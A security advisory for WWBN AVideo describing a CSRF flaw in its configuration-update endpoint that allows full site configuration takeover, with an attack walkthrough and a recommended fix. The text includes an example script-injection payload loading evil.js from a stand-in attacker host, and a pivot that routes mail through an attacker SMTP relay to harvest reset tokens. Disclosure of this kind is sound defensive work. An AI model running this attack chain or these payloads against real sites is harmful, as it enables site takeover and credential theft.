GHSA-vvfw-4m39-fjqf: WWBN AVideo has CSRF in configurationUpdate.json.php Enables Full Site Configuration Takeover Including Encoder URL and SMTP Credentials
Summary`objects/configurationUpdate.json.php` (also routed via `/updateConfig`) persists dozens of global site settings from `$_POST` but protects the endpoint only with `User::isAdmin()`. It does not call `forbidIfIsUntrustedRequest()`, does not verify a `globalToken`, and does not validate the Origin/Referer header. Because AVideo intentionally sets `session.cookie_samesite=None` to support cross-origin iframe embedding, a logged-in administrator who visits an attacker-controlled page will have the browser auto-submit a cross-origin POST that rewrites the site's encoder URL, SMTP credentials, site `<head>` HTML, logo, favicon, contact email, and more in a single request.DetailsThe entire authorization and CSRF check for the endpoint is this block at `objects/configurationUpdate.json.php:10`:Immediately after, `$_POST` values are written straight into the global `AVideoConf` object and persisted:Why CSRF actually lands**SameSite is intentionally `None`.** `objects/include_config.php:144` sets `ini_set('session.cookie_samesite', 'None')` and the adjacent comment states the design: *"SameSite=None is intentional: AVideo supports cross-origin iframe embedding… All state-mutating endpoints that are vulnerable to CSRF must instead enforce a short-lived globalToken (verifyToken)."* This endpoint enforces no such token.**Project already ships a CSRF primitive and uses it elsewhere.** `objects/functionsSecurity.php:138` defines `forbidIfIsUntrustedRequest()`, and the peer admin endpoint `objects/userUpdate.json.php:18` calls it explicitly. `configurationUpdate.json.php` has no such call — grepping the file confirms no `forbidIfIsUntrustedRequest`, `verifyToken`, `globalToken`, or Origin/Referer check.**The request is CORS-simple.** The admin UI submits with jQuery `$.ajax(...type: 'post', data: {...})` (see `view/configurations_body.php:753`), which sends `application/x-www-form-urlencoded`. That content type is a CORS "simple" request — no preflight — so any third-party origin can trigger it from a `<form>` with the admin's session cookie attached.**Reachable via two paths.** Direct `POST /objects/configurationUpdate.json.php` works, and `.htaccess:459` also exposes it at `POST /updateConfig`.Impact primitives unlocked by a single CSRF request**`setEncoderURL()`** — redirects future encoder operations (URL metadata fetching, chunked uploads, remote file ingestion in `aVideoEncoder.json.php` / `videoAddNew.json.php`) to the attacker's server. Attacker-controlled encoder responses are trusted downstream for titles, descriptions, download URLs, etc.**`setSmtpHost/Username/Password/Port/Secure/Auth`** — the next outbound mail (password reset, signup confirmation, admin notifications) goes through the attacker's SMTP relay, harvesting reset tokens and user credentials.**`setHead()`** — attacker-chosen raw HTML is injected into every page's `<head>`, giving persistent site-wide stored XSS (e.g. `<script src="https://attacker/evil.js"></script>`) that fires in every visitor's browser including the admin, enabling session theft of arbitrary users.**`logoImgBase64` / `faviconBase64`** — attacker-controlled bytes are `file_put_contents`-ed into the web root under `videos/userPhoto/logo.png` and `videos/favicon.png`.**`setContactEmail`, `setWebSiteTitle`, `setAuthCanUploadVideos`, `setAllow_download`, `setSession_timeout`, `setAdsense`, `setDisable_analytics`** — full site policy and branding control.PoCAttacker hosts `evil.html` on any origin:Any user authenticated as AVideo administrator (`User::isAdmin()` true) visits `https://attacker.example.com/evil.html`. Their browser submits the form cross-origin; because `session.cookie_samesite=None`, `PHPSESSID` is included; because it's an `application/x-www-form-urlencoded` POST, no preflight is sent.Server-side check at `configurationUpdate.json.php:10` passes (`User::isAdmin()` is true for the victim), and the body reaches `$config->save()` at `:130`. Response:The site-wide configuration is now rewritten with attacker-chosen values — verifiable by visiting any page and seeing the injected `<script>` in the rendered `<head>`, and by inspecting `videos/configuration.php` / the `configurations` table.Stored-XSS pivot: every subsequent visitor (including other admins) now executes `https://attacker.example.com/evil.js` from the victim site's origin, yielding session theft / full admin takeover on what were previously unrelated accounts.SMTP exfiltration pivot: trigger a password-reset flow on the victim site; the SMTP handshake now goes to `smtp.attacker.com:587` with `attacker:password`, and any future mail from AVideo is observable by the attacker.Impact**Full site configuration takeover** from a single cross-origin form submission against any logged-in administrator.**Persistent stored XSS site-wide** via `setHead()`, affecting every visitor and enabling session hijack of other admins and users.**Credential / reset-token exfiltration** via attacker-controlled SMTP relay.**Encoder pipeline hijack**: attacker controls the upstream URL the server fetches metadata from, enabling downstream content and data poisoning.**Arbitrary file write under web root** via `logoImgBase64` / `faviconBase64`.No bypass of admin auth is needed — the attacker uses the victim admin's own authenticated session; only a single visit to an attacker-controlled link is required.Recommended FixCall the existing CSRF primitive immediately after the admin check, matching what `objects/userUpdate.json.php:18` already does:Preferably also require a short-lived `globalToken` (`verifyToken($_REQUEST['globalToken'])`) as `include_config.php:140-143` prescribes, and update `view/configurations_body.php` to include that token in the AJAX payload. Audit all other `objects/*.json.php` state-mutating endpoints for the same omission — the pattern is structural and likely present on more endpoints.
CVSS v3.1: 8.3